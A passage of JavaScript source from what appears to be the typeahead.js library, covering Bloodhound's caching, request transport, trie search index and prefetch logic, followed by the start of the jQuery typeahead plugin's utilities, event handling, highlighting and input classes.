                return this._safeSet(this._prefix(key), encode(val));
            },
            remove: function(key) {
                this.ls.removeItem(this._ttlKey(key));
                this.ls.removeItem(this._prefix(key));
                return this;
            },
            clear: function() {
                var i, keys = gatherMatchingKeys(this.keyMatcher);
                for (i = keys.length; i--; ) {
                    this.remove(keys[i]);
                }
                return this;
            },
            isExpired: function(key) {
                var ttl = decode(this.ls.getItem(this._ttlKey(key)));
                return _.isNumber(ttl) && now() > ttl ? true : false;
            }
        });
        return PersistentStorage;
        function now() {
            return new Date().getTime();
        }
        function encode(val) {
            return JSON.stringify(_.isUndefined(val) ? null : val);
        }
        function decode(val) {
            return $.parseJSON(val);
        }
        function gatherMatchingKeys(keyMatcher) {
            var i, key, keys = [], len = LOCAL_STORAGE.length;
            for (i = 0; i < len; i++) {
                if ((key = LOCAL_STORAGE.key(i)).match(keyMatcher)) {
                    keys.push(key.replace(keyMatcher, ""));
                }
            }
            return keys;
        }
    }();
    var Transport = function() {
        "use strict";
        var pendingRequestsCount = 0, pendingRequests = {}, sharedCache = new LruCache(10);
        function Transport(o) {
            o = o || {};
            this.maxPendingRequests = o.maxPendingRequests || 6;
            this.cancelled = false;
            this.lastReq = null;
            this._send = o.transport;
            this._get = o.limiter ? o.limiter(this._get) : this._get;
            this._cache = o.cache === false ? new LruCache(0) : sharedCache;
        }
        Transport.setMaxPendingRequests = function setMaxPendingRequests(num) {
            this.maxPendingRequests = num;
        };
        Transport.resetCache = function resetCache() {
            sharedCache.reset();
        };
        _.mixin(Transport.prototype, {
            _fingerprint: function fingerprint(o) {
                o = o || {};
                return o.url + o.type + $.param(o.data || {});
            },
            _get: function(o, cb) {
                var that = this, fingerprint, jqXhr;
                fingerprint = this._fingerprint(o);
                if (this.cancelled || fingerprint !== this.lastReq) {
                    return;
                }
                if (jqXhr = pendingRequests[fingerprint]) {
                    jqXhr.done(done).fail(fail);
                } else if (pendingRequestsCount < this.maxPendingRequests) {
                    pendingRequestsCount++;
                    pendingRequests[fingerprint] = this._send(o).done(done).fail(fail).always(always);
                } else {
                    this.onDeckRequestArgs = [].slice.call(arguments, 0);
                }
                function done(resp) {
                    cb(null, resp);
                    that._cache.set(fingerprint, resp);
                }
                function fail() {
                    cb(true);
                }
                function always() {
                    pendingRequestsCount--;
                    delete pendingRequests[fingerprint];
                    if (that.onDeckRequestArgs) {
                        that._get.apply(that, that.onDeckRequestArgs);
                        that.onDeckRequestArgs = null;
                    }
                }
            },
            get: function(o, cb) {
                var resp, fingerprint;
                cb = cb || $.noop;
                o = _.isString(o) ? {
                    url: o
                } : o || {};
                fingerprint = this._fingerprint(o);
                this.cancelled = false;
                this.lastReq = fingerprint;
                if (resp = this._cache.get(fingerprint)) {
                    cb(null, resp);
                } else {
                    this._get(o, cb);
                }
            },
            cancel: function() {
                this.cancelled = true;
            }
        });
        return Transport;
    }();
    var SearchIndex = window.SearchIndex = function() {
        "use strict";
        var CHILDREN = "c", IDS = "i";
        function SearchIndex(o) {
            o = o || {};
            if (!o.datumTokenizer || !o.queryTokenizer) {
                $.error("datumTokenizer and queryTokenizer are both required");
            }
            this.identify = o.identify || _.stringify;
            this.datumTokenizer = o.datumTokenizer;
            this.queryTokenizer = o.queryTokenizer;
            this.matchAnyQueryToken = o.matchAnyQueryToken;
            this.reset();
        }
        _.mixin(SearchIndex.prototype, {
            bootstrap: function bootstrap(o) {
                this.datums = o.datums;
                this.trie = o.trie;
            },
            add: function(data) {
                var that = this;
                data = _.isArray(data) ? data : [ data ];
                _.each(data, function(datum) {
                    var id, tokens;
                    that.datums[id = that.identify(datum)] = datum;
                    tokens = normalizeTokens(that.datumTokenizer(datum));
                    _.each(tokens, function(token) {
                        var node, chars, ch;
                        node = that.trie;
                        chars = token.split("");
                        while (ch = chars.shift()) {
                            node = node[CHILDREN][ch] || (node[CHILDREN][ch] = newNode());
                            node[IDS].push(id);
                        }
                    });
                });
            },
            get: function get(ids) {
                var that = this;
                return _.map(ids, function(id) {
                    return that.datums[id];
                });
            },
            search: function search(query) {
                var that = this, tokens, matches;
                tokens = normalizeTokens(this.queryTokenizer(query));
                _.each(tokens, function(token) {
                    var node, chars, ch, ids;
                    if (matches && matches.length === 0 && !that.matchAnyQueryToken) {
                        return false;
                    }
                    node = that.trie;
                    chars = token.split("");
                    while (node && (ch = chars.shift())) {
                        node = node[CHILDREN][ch];
                    }
                    if (node && chars.length === 0) {
                        ids = node[IDS].slice(0);
                        matches = matches ? getIntersection(matches, ids) : ids;
                    } else {
                        if (!that.matchAnyQueryToken) {
                            matches = [];
                            return false;
                        }
                    }
                });
                return matches ? _.map(unique(matches), function(id) {
                    return that.datums[id];
                }) : [];
            },
            all: function all() {
                var values = [];
                for (var key in this.datums) {
                    values.push(this.datums[key]);
                }
                return values;
            },
            reset: function reset() {
                this.datums = {};
                this.trie = newNode();
            },
            serialize: function serialize() {
                return {
                    datums: this.datums,
                    trie: this.trie
                };
            }
        });
        return SearchIndex;
        function normalizeTokens(tokens) {
            tokens = _.filter(tokens, function(token) {
                return !!token;
            });
            tokens = _.map(tokens, function(token) {
                return token.toLowerCase();
            });
            return tokens;
        }
        function newNode() {
            var node = {};
            node[IDS] = [];
            node[CHILDREN] = {};
            return node;
        }
        function unique(array) {
            var seen = {}, uniques = [];
            for (var i = 0, len = array.length; i < len; i++) {
                if (!seen[array[i]]) {
                    seen[array[i]] = true;
                    uniques.push(array[i]);
                }
            }
            return uniques;
        }
        function getIntersection(arrayA, arrayB) {
            var ai = 0, bi = 0, intersection = [];
            arrayA = arrayA.sort();
            arrayB = arrayB.sort();
            var lenArrayA = arrayA.length, lenArrayB = arrayB.length;
            while (ai < lenArrayA && bi < lenArrayB) {
                if (arrayA[ai] < arrayB[bi]) {
                    ai++;
                } else if (arrayA[ai] > arrayB[bi]) {
                    bi++;
                } else {
                    intersection.push(arrayA[ai]);
                    ai++;
                    bi++;
                }
            }
            return intersection;
        }
    }();
    var Prefetch = function() {
        "use strict";
        var keys;
        keys = {
            data: "data",
            protocol: "protocol",
            thumbprint: "thumbprint"
        };
        function Prefetch(o) {
            this.url = o.url;
            this.ttl = o.ttl;
            this.cache = o.cache;
            this.prepare = o.prepare;
            this.transform = o.transform;
            this.transport = o.transport;
            this.thumbprint = o.thumbprint;
            this.storage = new PersistentStorage(o.cacheKey);
        }
        _.mixin(Prefetch.prototype, {
            _settings: function settings() {
                return {
                    url: this.url,
                    type: "GET",
                    dataType: "json"
                };
            },
            store: function store(data) {
                if (!this.cache) {
                    return;
                }
                this.storage.set(keys.data, data, this.ttl);
                this.storage.set(keys.protocol, location.protocol, this.ttl);
                this.storage.set(keys.thumbprint, this.thumbprint, this.ttl);
            },
            fromCache: function fromCache() {
                var stored = {}, isExpired;
                if (!this.cache) {
                    return null;
                }
                stored.data = this.storage.get(keys.data);
                stored.protocol = this.storage.get(keys.protocol);
                stored.thumbprint = this.storage.get(keys.thumbprint);
                isExpired = stored.thumbprint !== this.thumbprint || stored.protocol !== location.protocol;
                return stored.data && !isExpired ? stored.data : null;
            },
            fromNetwork: function(cb) {
                var that = this, settings;
                if (!cb) {
                    return;
                }
                settings = this.prepare(this._settings());
                this.transport(settings).fail(onError).done(onResponse);
                function onError() {
                    cb(true);
                }
                function onResponse(resp) {
                    cb(null, that.transform(resp));
                }
            },
            clear: function clear() {
                this.storage.clear();
                return this;
            }
        });
        return Prefetch;
    }();
    var Remote = function() {
        "use strict";
        function Remote(o) {
            this.url = o.url;
            this.prepare = o.prepare;
            this.transform = o.transform;
            this.indexResponse = o.indexResponse;
            this.transport = new Transport({
                cache: o.cache,
                limiter: o.limiter,
                transport: o.transport,
                maxPendingRequests: o.maxPendingRequests
            });
        }
        _.mixin(Remote.prototype, {
            _settings: function settings() {
                return {
                    url: this.url,
                    type: "GET",
                    dataType: "json"
                };
            },
            get: function get(query, cb) {
                var that = this, settings;
                if (!cb) {
                    return;
                }
                query = query || "";
                settings = this.prepare(query, this._settings());
                return this.transport.get(settings, onResponse);
                function onResponse(err, resp) {
                    err ? cb([]) : cb(that.transform(resp));
                }
            },
            cancelLastRequest: function cancelLastRequest() {
                this.transport.cancel();
            }
        });
        return Remote;
    }();
    var oParser = function() {
        "use strict";
        return function parse(o) {
            var defaults, sorter;
            defaults = {
                initialize: true,
                identify: _.stringify,
                datumTokenizer: null,
                queryTokenizer: null,
                matchAnyQueryToken: false,
                sufficient: 5,
                indexRemote: false,
                sorter: null,
                local: [],
                prefetch: null,
                remote: null
            };
            o = _.mixin(defaults, o || {});
            !o.datumTokenizer && $.error("datumTokenizer is required");
            !o.queryTokenizer && $.error("queryTokenizer is required");
            sorter = o.sorter;
            o.sorter = sorter ? function(x) {
                return x.sort(sorter);
            } : _.identity;
            o.local = _.isFunction(o.local) ? o.local() : o.local;
            o.prefetch = parsePrefetch(o.prefetch);
            o.remote = parseRemote(o.remote);
            return o;
        };
        function parsePrefetch(o) {
            var defaults;
            if (!o) {
                return null;
            }
            defaults = {
                url: null,
                ttl: 24 * 60 * 60 * 1e3,
                cache: true,
                cacheKey: null,
                thumbprint: "",
                prepare: _.identity,
                transform: _.identity,
                transport: null
            };
            o = _.isString(o) ? {
                url: o
            } : o;
            o = _.mixin(defaults, o);
            !o.url && $.error("prefetch requires url to be set");
            o.transform = o.filter || o.transform;
            o.cacheKey = o.cacheKey || o.url;
            o.thumbprint = VERSION + o.thumbprint;
            o.transport = o.transport ? callbackToDeferred(o.transport) : $.ajax;
            return o;
        }
        function parseRemote(o) {
            var defaults;
            if (!o) {
                return;
            }
            defaults = {
                url: null,
                cache: true,
                prepare: null,
                replace: null,
                wildcard: null,
                limiter: null,
                rateLimitBy: "debounce",
                rateLimitWait: 300,
                transform: _.identity,
                transport: null
            };
            o = _.isString(o) ? {
                url: o
            } : o;
            o = _.mixin(defaults, o);
            !o.url && $.error("remote requires url to be set");
            o.transform = o.filter || o.transform;
            o.prepare = toRemotePrepare(o);
            o.limiter = toLimiter(o);
            o.transport = o.transport ? callbackToDeferred(o.transport) : $.ajax;
            delete o.replace;
            delete o.wildcard;
            delete o.rateLimitBy;
            delete o.rateLimitWait;
            return o;
        }
        function toRemotePrepare(o) {
            var prepare, replace, wildcard;
            prepare = o.prepare;
            replace = o.replace;
            wildcard = o.wildcard;
            if (prepare) {
                return prepare;
            }
            if (replace) {
                prepare = prepareByReplace;
            } else if (o.wildcard) {
                prepare = prepareByWildcard;
            } else {
                prepare = idenityPrepare;
            }
            return prepare;
            function prepareByReplace(query, settings) {
                settings.url = replace(settings.url, query);
                return settings;
            }
            function prepareByWildcard(query, settings) {
                settings.url = settings.url.replace(wildcard, encodeURIComponent(query));
                return settings;
            }
            function idenityPrepare(query, settings) {
                return settings;
            }
        }
        function toLimiter(o) {
            var limiter, method, wait;
            limiter = o.limiter;
            method = o.rateLimitBy;
            wait = o.rateLimitWait;
            if (!limiter) {
                limiter = /^throttle$/i.test(method) ? throttle(wait) : debounce(wait);
            }
            return limiter;
            function debounce(wait) {
                return function debounce(fn) {
                    return _.debounce(fn, wait);
                };
            }
            function throttle(wait) {
                return function throttle(fn) {
                    return _.throttle(fn, wait);
                };
            }
        }
        function callbackToDeferred(fn) {
            return function wrapper(o) {
                var deferred = $.Deferred();
                fn(o, onSuccess, onError);
                return deferred;
                function onSuccess(resp) {
                    _.defer(function() {
                        deferred.resolve(resp);
                    });
                }
                function onError(err) {
                    _.defer(function() {
                        deferred.reject(err);
                    });
                }
            };
        }
    }();
    var Bloodhound = function() {
        "use strict";
        var old;
        old = window && window.Bloodhound;
        function Bloodhound(o) {
            o = oParser(o);
            this.sorter = o.sorter;
            this.identify = o.identify;
            this.sufficient = o.sufficient;
            this.indexRemote = o.indexRemote;
            this.local = o.local;
            this.remote = o.remote ? new Remote(o.remote) : null;
            this.prefetch = o.prefetch ? new Prefetch(o.prefetch) : null;
            this.index = new SearchIndex({
                identify: this.identify,
                datumTokenizer: o.datumTokenizer,
                queryTokenizer: o.queryTokenizer
            });
            o.initialize !== false && this.initialize();
        }
        Bloodhound.noConflict = function noConflict() {
            window && (window.Bloodhound = old);
            return Bloodhound;
        };
        Bloodhound.tokenizers = tokenizers;
        _.mixin(Bloodhound.prototype, {
            __ttAdapter: function ttAdapter() {
                var that = this;
                return this.remote ? withAsync : withoutAsync;
                function withAsync(query, sync, async) {
                    return that.search(query, sync, async);
                }
                function withoutAsync(query, sync) {
                    return that.search(query, sync);
                }
            },
            _loadPrefetch: function loadPrefetch() {
                var that = this, deferred, serialized;
                deferred = $.Deferred();
                if (!this.prefetch) {
                    deferred.resolve();
                } else if (serialized = this.prefetch.fromCache()) {
                    this.index.bootstrap(serialized);
                    deferred.resolve();
                } else {
                    this.prefetch.fromNetwork(done);
                }
                return deferred.promise();
                function done(err, data) {
                    if (err) {
                        return deferred.reject();
                    }
                    that.add(data);
                    that.prefetch.store(that.index.serialize());
                    deferred.resolve();
                }
            },
            _initialize: function initialize() {
                var that = this, deferred;
                this.clear();
                (this.initPromise = this._loadPrefetch()).done(addLocalToIndex);
                return this.initPromise;
                function addLocalToIndex() {
                    that.add(that.local);
                }
            },
            initialize: function initialize(force) {
                return !this.initPromise || force ? this._initialize() : this.initPromise;
            },
            add: function add(data) {
                this.index.add(data);
                return this;
            },
            get: function get(ids) {
                ids = _.isArray(ids) ? ids : [].slice.call(arguments);
                return this.index.get(ids);
            },
            search: function search(query, sync, async) {
                var that = this, local;
                sync = sync || _.noop;
                async = async || _.noop;
                local = this.sorter(this.index.search(query));
                sync(this.remote ? local.slice() : local);
                if (this.remote && local.length < this.sufficient) {
                    this.remote.get(query, processRemote);
                } else if (this.remote) {
                    this.remote.cancelLastRequest();
                }
                return this;
                function processRemote(remote) {
                    var nonDuplicates = [];
                    _.each(remote, function(r) {
                        !_.some(local, function(l) {
                            return that.identify(r) === that.identify(l);
                        }) && nonDuplicates.push(r);
                    });
                    that.indexRemote && that.add(nonDuplicates);
                    async(nonDuplicates);
                }
            },
            all: function all() {
                return this.index.all();
            },
            clear: function clear() {
                this.index.reset();
                return this;
            },
            clearPrefetchCache: function clearPrefetchCache() {
                this.prefetch && this.prefetch.clear();
                return this;
            },
            clearRemoteCache: function clearRemoteCache() {
                Transport.resetCache();
                return this;
            },
            ttAdapter: function ttAdapter() {
                return this.__ttAdapter();
            }
        });
        return Bloodhound;
    }();
    return Bloodhound;
});

(function(root, factory) {
    if (typeof define === "function" && define.amd) {
        define([ "jquery" ], function(a0) {
            return factory(a0);
        });
    } else if (typeof exports === "object") {
        module.exports = factory(require("jquery"));
    } else {
        factory(root["jQuery"]);
    }
})(this, function($) {
    var _ = function() {
        "use strict";
        return {
            isMsie: function() {
                return /(msie|trident)/i.test(navigator.userAgent) ? navigator.userAgent.match(/(msie |rv:)(\d+(.\d+)?)/i)[2] : false;
            },
            isBlankString: function(str) {
                return !str || /^\s*$/.test(str);
            },
            escapeRegExChars: function(str) {
                return str.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
            },
            isString: function(obj) {
                return typeof obj === "string";
            },
            isNumber: function(obj) {
                return typeof obj === "number";
            },
            isArray: $.isArray,
            isFunction: $.isFunction,
            isObject: $.isPlainObject,
            isUndefined: function(obj) {
                return typeof obj === "undefined";
            },
            isElement: function(obj) {
                return !!(obj && obj.nodeType === 1);
            },
            isJQuery: function(obj) {
                return obj instanceof $;
            },
            toStr: function toStr(s) {
                return _.isUndefined(s) || s === null ? "" : s + "";
            },
            bind: $.proxy,
            each: function(collection, cb) {
                $.each(collection, reverseArgs);
                function reverseArgs(index, value) {
                    return cb(value, index);
                }
            },
            map: $.map,
            filter: $.grep,
            every: function(obj, test) {
                var result = true;
                if (!obj) {
                    return result;
                }
                $.each(obj, function(key, val) {
                    if (!(result = test.call(null, val, key, obj))) {
                        return false;
                    }
                });
                return !!result;
            },
            some: function(obj, test) {
                var result = false;
                if (!obj) {
                    return result;
                }
                $.each(obj, function(key, val) {
                    if (result = test.call(null, val, key, obj)) {
                        return false;
                    }
                });
                return !!result;
            },
            mixin: $.extend,
            identity: function(x) {
                return x;
            },
            clone: function(obj) {
                return $.extend(true, {}, obj);
            },
            getIdGenerator: function() {
                var counter = 0;
                return function() {
                    return counter++;
                };
            },
            templatify: function templatify(obj) {
                return $.isFunction(obj) ? obj : template;
                function template() {
                    return String(obj);
                }
            },
            defer: function(fn) {
                setTimeout(fn, 0);
            },
            debounce: function(func, wait, immediate) {
                var timeout, result;
                return function() {
                    var context = this, args = arguments, later, callNow;
                    later = function() {
                        timeout = null;
                        if (!immediate) {
                            result = func.apply(context, args);
                        }
                    };
                    callNow = immediate && !timeout;
                    clearTimeout(timeout);
                    timeout = setTimeout(later, wait);
                    if (callNow) {
                        result = func.apply(context, args);
                    }
                    return result;
                };
            },
            throttle: function(func, wait) {
                var context, args, timeout, result, previous, later;
                previous = 0;
                later = function() {
                    previous = new Date();
                    timeout = null;
                    result = func.apply(context, args);
                };
                return function() {
                    var now = new Date(), remaining = wait - (now - previous);
                    context = this;
                    args = arguments;
                    if (remaining <= 0) {
                        clearTimeout(timeout);
                        timeout = null;
                        previous = now;
                        result = func.apply(context, args);
                    } else if (!timeout) {
                        timeout = setTimeout(later, remaining);
                    }
                    return result;
                };
            },
            stringify: function(val) {
                return _.isString(val) ? val : JSON.stringify(val);
            },
            guid: function() {
                function _p8(s) {
                    var p = (Math.random().toString(16) + "000000000").substr(2, 8);
                    return s ? "-" + p.substr(0, 4) + "-" + p.substr(4, 4) : p;
                }
                return "tt-" + _p8() + _p8(true) + _p8(true) + _p8();
            },
            noop: function() {}
        };
    }();
    var WWW = function() {
        "use strict";
        var defaultClassNames = {
            wrapper: "twitter-typeahead",
            input: "tt-input",
            hint: "tt-hint",
            menu: "tt-menu",
            dataset: "tt-dataset",
            suggestion: "tt-suggestion",
            selectable: "tt-selectable",
            empty: "tt-empty",
            open: "tt-open",
            cursor: "tt-cursor",
            highlight: "tt-highlight"
        };
        return build;
        function build(o) {
            var www, classes;
            classes = _.mixin({}, defaultClassNames, o);
            www = {
                css: buildCss(),
                classes: classes,
                html: buildHtml(classes),
                selectors: buildSelectors(classes)
            };
            return {
                css: www.css,
                html: www.html,
                classes: www.classes,
                selectors: www.selectors,
                mixin: function(o) {
                    _.mixin(o, www);
                }
            };
        }
        function buildHtml(c) {
            return {
                wrapper: '<span class="' + c.wrapper + '"></span>',
                menu: '<div role="listbox" class="' + c.menu + '"></div>'
            };
        }
        function buildSelectors(classes) {
            var selectors = {};
            _.each(classes, function(v, k) {
                selectors[k] = "." + v;
            });
            return selectors;
        }
        function buildCss() {
            var css = {
                wrapper: {
                    position: "relative",
                    display: "inline-block"
                },
                hint: {
                    position: "absolute",
                    top: "0",
                    left: "0",
                    borderColor: "transparent",
                    boxShadow: "none",
                    opacity: "1"
                },
                input: {
                    position: "relative",
                    verticalAlign: "top",
                    backgroundColor: "transparent"
                },
                inputWithNoHint: {
                    position: "relative",
                    verticalAlign: "top"
                },
                menu: {
                    position: "absolute",
                    top: "100%",
                    left: "0",
                    zIndex: "100",
                    display: "none"
                },
                ltr: {
                    left: "0",
                    right: "auto"
                },
                rtl: {
                    left: "auto",
                    right: " 0"
                }
            };
            if (_.isMsie()) {
                _.mixin(css.input, {
                    backgroundImage: "url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)"
                });
            }
            return css;
        }
    }();
    var EventBus = function() {
        "use strict";
        var namespace, deprecationMap;
        namespace = "typeahead:";
        deprecationMap = {
            render: "rendered",
            cursorchange: "cursorchanged",
            select: "selected",
            autocomplete: "autocompleted"
        };
        function EventBus(o) {
            if (!o || !o.el) {
                $.error("EventBus initialized without el");
            }
            this.$el = $(o.el);
        }
        _.mixin(EventBus.prototype, {
            _trigger: function(type, args) {
                var $e = $.Event(namespace + type);
                this.$el.trigger.call(this.$el, $e, args || []);
                return $e;
            },
            before: function(type) {
                var args, $e;
                args = [].slice.call(arguments, 1);
                $e = this._trigger("before" + type, args);
                return $e.isDefaultPrevented();
            },
            trigger: function(type) {
                var deprecatedType;
                this._trigger(type, [].slice.call(arguments, 1));
                if (deprecatedType = deprecationMap[type]) {
                    this._trigger(deprecatedType, [].slice.call(arguments, 1));
                }
            }
        });
        return EventBus;
    }();
    var EventEmitter = function() {
        "use strict";
        var splitter = /\s+/, nextTick = getNextTick();
        return {
            onSync: onSync,
            onAsync: onAsync,
            off: off,
            trigger: trigger
        };
        function on(method, types, cb, context) {
            var type;
            if (!cb) {
                return this;
            }
            types = types.split(splitter);
            cb = context ? bindContext(cb, context) : cb;
            this._callbacks = this._callbacks || {};
            while (type = types.shift()) {
                this._callbacks[type] = this._callbacks[type] || {
                    sync: [],
                    async: []
                };
                this._callbacks[type][method].push(cb);
            }
            return this;
        }
        function onAsync(types, cb, context) {
            return on.call(this, "async", types, cb, context);
        }
        function onSync(types, cb, context) {
            return on.call(this, "sync", types, cb, context);
        }
        function off(types) {
            var type;
            if (!this._callbacks) {
                return this;
            }
            types = types.split(splitter);
            while (type = types.shift()) {
                delete this._callbacks[type];
            }
            return this;
        }
        function trigger(types) {
            var type, callbacks, args, syncFlush, asyncFlush;
            if (!this._callbacks) {
                return this;
            }
            types = types.split(splitter);
            args = [].slice.call(arguments, 1);
            while ((type = types.shift()) && (callbacks = this._callbacks[type])) {
                syncFlush = getFlush(callbacks.sync, this, [ type ].concat(args));
                asyncFlush = getFlush(callbacks.async, this, [ type ].concat(args));
                syncFlush() && nextTick(asyncFlush);
            }
            return this;
        }
        function getFlush(callbacks, context, args) {
            return flush;
            function flush() {
                var cancelled;
                for (var i = 0, len = callbacks.length; !cancelled && i < len; i += 1) {
                    cancelled = callbacks[i].apply(context, args) === false;
                }
                return !cancelled;
            }
        }
        function getNextTick() {
            var nextTickFn;
            if (window.setImmediate) {
                nextTickFn = function nextTickSetImmediate(fn) {
                    setImmediate(function() {
                        fn();
                    });
                };
            } else {
                nextTickFn = function nextTickSetTimeout(fn) {
                    setTimeout(function() {
                        fn();
                    }, 0);
                };
            }
            return nextTickFn;
        }
        function bindContext(fn, context) {
            return fn.bind ? fn.bind(context) : function() {
                fn.apply(context, [].slice.call(arguments, 0));
            };
        }
    }();
    var highlight = function(doc) {
        "use strict";
        var defaults = {
            node: null,
            pattern: null,
            tagName: "strong",
            className: null,
            wordsOnly: false,
            caseSensitive: false,
            diacriticInsensitive: false
        };
        var accented = {
            A: "[AaªÀ-Åà-åĀ-ąǍǎȀ-ȃȦȧᴬᵃḀḁẚẠ-ảₐ℀℁℻⒜Ⓐⓐ㍱-㍴㎀-㎄㎈㎉㎩-㎯㏂㏊㏟㏿Aa]",
            B: "[BbᴮᵇḂ-ḇℬ⒝Ⓑⓑ㍴㎅-㎇㏃㏈㏔㏝Bb]",
            C: "[CcÇçĆ-čᶜ℀ℂ℃℅℆ℭⅭⅽ⒞Ⓒⓒ㍶㎈㎉㎝㎠㎤㏄-㏇Cc]",
            D: "[DdĎďDŽ-džDZ-dzᴰᵈḊ-ḓⅅⅆⅮⅾ⒟Ⓓⓓ㋏㍲㍷-㍹㎗㎭-㎯㏅㏈Dd]",
            E: "[EeÈ-Ëè-ëĒ-ěȄ-ȇȨȩᴱᵉḘ-ḛẸ-ẽₑ℡ℯℰⅇ⒠Ⓔⓔ㉐㋍㋎Ee]",
            F: "[FfᶠḞḟ℉ℱ℻⒡Ⓕⓕ㎊-㎌㎙ff-fflFf]",
            G: "[GgĜ-ģǦǧǴǵᴳᵍḠḡℊ⒢Ⓖⓖ㋌㋍㎇㎍-㎏㎓㎬㏆㏉㏒㏿Gg]",
            H: "[HhĤĥȞȟʰᴴḢ-ḫẖℋ-ℎ⒣Ⓗⓗ㋌㍱㎐-㎔㏊㏋㏗Hh]",
            I: "[IiÌ-Ïì-ïĨ-İIJijǏǐȈ-ȋᴵᵢḬḭỈ-ịⁱℐℑℹⅈⅠ-ⅣⅥ-ⅨⅪⅫⅰ-ⅳⅵ-ⅸⅺⅻ⒤Ⓘⓘ㍺㏌㏕fiffiIi]",
            J: "[JjIJ-ĵLJ-njǰʲᴶⅉ⒥ⒿⓙⱼJj]",
            K: "[KkĶķǨǩᴷᵏḰ-ḵK⒦Ⓚⓚ㎄㎅㎉㎏㎑㎘㎞㎢㎦㎪㎸㎾㏀㏆㏍-㏏Kk]",
            L: "[LlĹ-ŀLJ-ljˡᴸḶḷḺ-ḽℒℓ℡Ⅼⅼ⒧Ⓛⓛ㋏㎈㎉㏐-㏓㏕㏖㏿flfflLl]",
            M: "[MmᴹᵐḾ-ṃ℠™ℳⅯⅿ⒨Ⓜⓜ㍷-㍹㎃㎆㎎㎒㎖㎙-㎨㎫㎳㎷㎹㎽㎿㏁㏂㏎㏐㏔-㏖㏘㏙㏞㏟Mm]",
            N: "[NnÑñŃ-ʼnNJ-njǸǹᴺṄ-ṋⁿℕ№⒩Ⓝⓝ㎁㎋㎚㎱㎵㎻㏌㏑Nn]",
            O: "[OoºÒ-Öò-öŌ-őƠơǑǒǪǫȌ-ȏȮȯᴼᵒỌ-ỏₒ℅№ℴ⒪Ⓞⓞ㍵㏇㏒㏖Oo]",
            P: "[PpᴾᵖṔ-ṗℙ⒫Ⓟⓟ㉐㍱㍶㎀㎊㎩-㎬㎰㎴㎺㏋㏗-㏚Pp]",
            Q: "[Qqℚ⒬Ⓠⓠ㏃Qq]",
            R: "[RrŔ-řȐ-ȓʳᴿᵣṘ-ṛṞṟ₨ℛ-ℝ⒭Ⓡⓡ㋍㍴㎭-㎯㏚㏛Rr]",
            S: "[SsŚ-šſȘșˢṠ-ṣ₨℁℠⒮Ⓢⓢ㎧㎨㎮-㎳㏛㏜stSs]",
            T: "[TtŢ-ťȚțᵀᵗṪ-ṱẗ℡™⒯Ⓣⓣ㉐㋏㎔㏏ſtstTt]",
            U: "[UuÙ-Üù-üŨ-ųƯưǓǔȔ-ȗᵁᵘᵤṲ-ṷỤ-ủ℆⒰Ⓤⓤ㍳㍺Uu]",
            V: "[VvᵛᵥṼ-ṿⅣ-Ⅷⅳ-ⅷ⒱Ⓥⓥⱽ㋎㍵㎴-㎹㏜㏞Vv]",
            W: "[WwŴŵʷᵂẀ-ẉẘ⒲Ⓦⓦ㎺-㎿㏝Ww]",
            X: "[XxˣẊ-ẍₓ℻Ⅸ-Ⅻⅸ-ⅻ⒳Ⓧⓧ㏓Xx]",
            Y: "[YyÝýÿŶ-ŸȲȳʸẎẏẙỲ-ỹ⒴Ⓨⓨ㏉Yy]",
            Z: "[ZzŹ-žDZ-dzᶻẐ-ẕℤℨ⒵Ⓩⓩ㎐-㎔Zz]"
        };
        return function hightlight(o) {
            var regex;
            o = _.mixin({}, defaults, o);
            if (!o.node || !o.pattern) {
                return;
            }
            o.pattern = _.isArray(o.pattern) ? o.pattern : [ o.pattern ];
            regex = getRegex(o.pattern, o.caseSensitive, o.wordsOnly, o.diacriticInsensitive);
            traverse(o.node, hightlightTextNode);
            function hightlightTextNode(textNode) {
                var match, patternNode, wrapperNode;
                if (match = regex.exec(textNode.data)) {
                    wrapperNode = doc.createElement(o.tagName);
                    o.className && (wrapperNode.className = o.className);
                    patternNode = textNode.splitText(match.index);
                    patternNode.splitText(match[0].length);
                    wrapperNode.appendChild(patternNode.cloneNode(true));
                    textNode.parentNode.replaceChild(wrapperNode, patternNode);
                }
                return !!match;
            }
            function traverse(el, hightlightTextNode) {
                var childNode, TEXT_NODE_TYPE = 3;
                for (var i = 0; i < el.childNodes.length; i++) {
                    childNode = el.childNodes[i];
                    if (childNode.nodeType === TEXT_NODE_TYPE) {
                        i += hightlightTextNode(childNode) ? 1 : 0;
                    } else {
                        traverse(childNode, hightlightTextNode);
                    }
                }
            }
        };
        function accent_replacer(chr) {
            return accented[chr.toUpperCase()] || chr;
        }
        function getRegex(patterns, caseSensitive, wordsOnly, diacriticInsensitive) {
            var escapedPatterns = [], regexStr;
            for (var i = 0, len = patterns.length; i < len; i++) {
                var escapedWord = _.escapeRegExChars(patterns[i]);
                if (diacriticInsensitive) {
                    escapedWord = escapedWord.replace(/\S/g, accent_replacer);
                }
                escapedPatterns.push(escapedWord);
            }
            regexStr = wordsOnly ? "\\b(" + escapedPatterns.join("|") + ")\\b" : "(" + escapedPatterns.join("|") + ")";
            return caseSensitive ? new RegExp(regexStr) : new RegExp(regexStr, "i");
        }
    }(window.document);
    var Input = function() {
        "use strict";
        var specialKeyCodeMap;
        specialKeyCodeMap = {
            9: "tab",
            27: "esc",
            37: "left",
            39: "right",
            13: "enter",
            38: "up",
            40: "down"
        };
        function Input(o, www) {
            o = o || {};
            if (!o.input) {
                $.error("input is missing");
            }
            www.mixin(this);
            this.$hint = $(o.hint);
            this.$input = $(o.input);
            this.$input.attr({
                "aria-activedescendant": "",
                "aria-owns": this.$input.attr("id") + "_listbox",
                role: "combobox",
                "aria-readonly": "true",
                "aria-autocomplete": "list"
            });
            $(www.menu).attr("id", this.$input.attr("id") + "_listbox");
            this.query = this.$input.val();
            this.queryWhenFocused = this.hasFocus() ? this.query : null;
            this.$overflowHelper = buildOverflowHelper(this.$input);
            this._checkLanguageDirection();
            if (this.$hint.length === 0) {
                this.setHint = this.getHint = this.clearHint = this.clearHintIfInvalid = _.noop;
            }
            this.onSync("cursorchange", this._updateDescendent);
        }
        Input.normalizeQuery = function(str) {
            return _.toStr(str).replace(/^\s*/g, "").replace(/\s{2,}/g, " ");
        };
        _.mixin(Input.prototype, EventEmitter, {
            _onBlur: function onBlur() {
                this.resetInputValue();
                this.trigger("blurred");
            },
            _onFocus: function onFocus() {
                this.queryWhenFocused = this.query;
                this.trigger("focused");
            },
            _onKeydown: function onKeydown($e) {
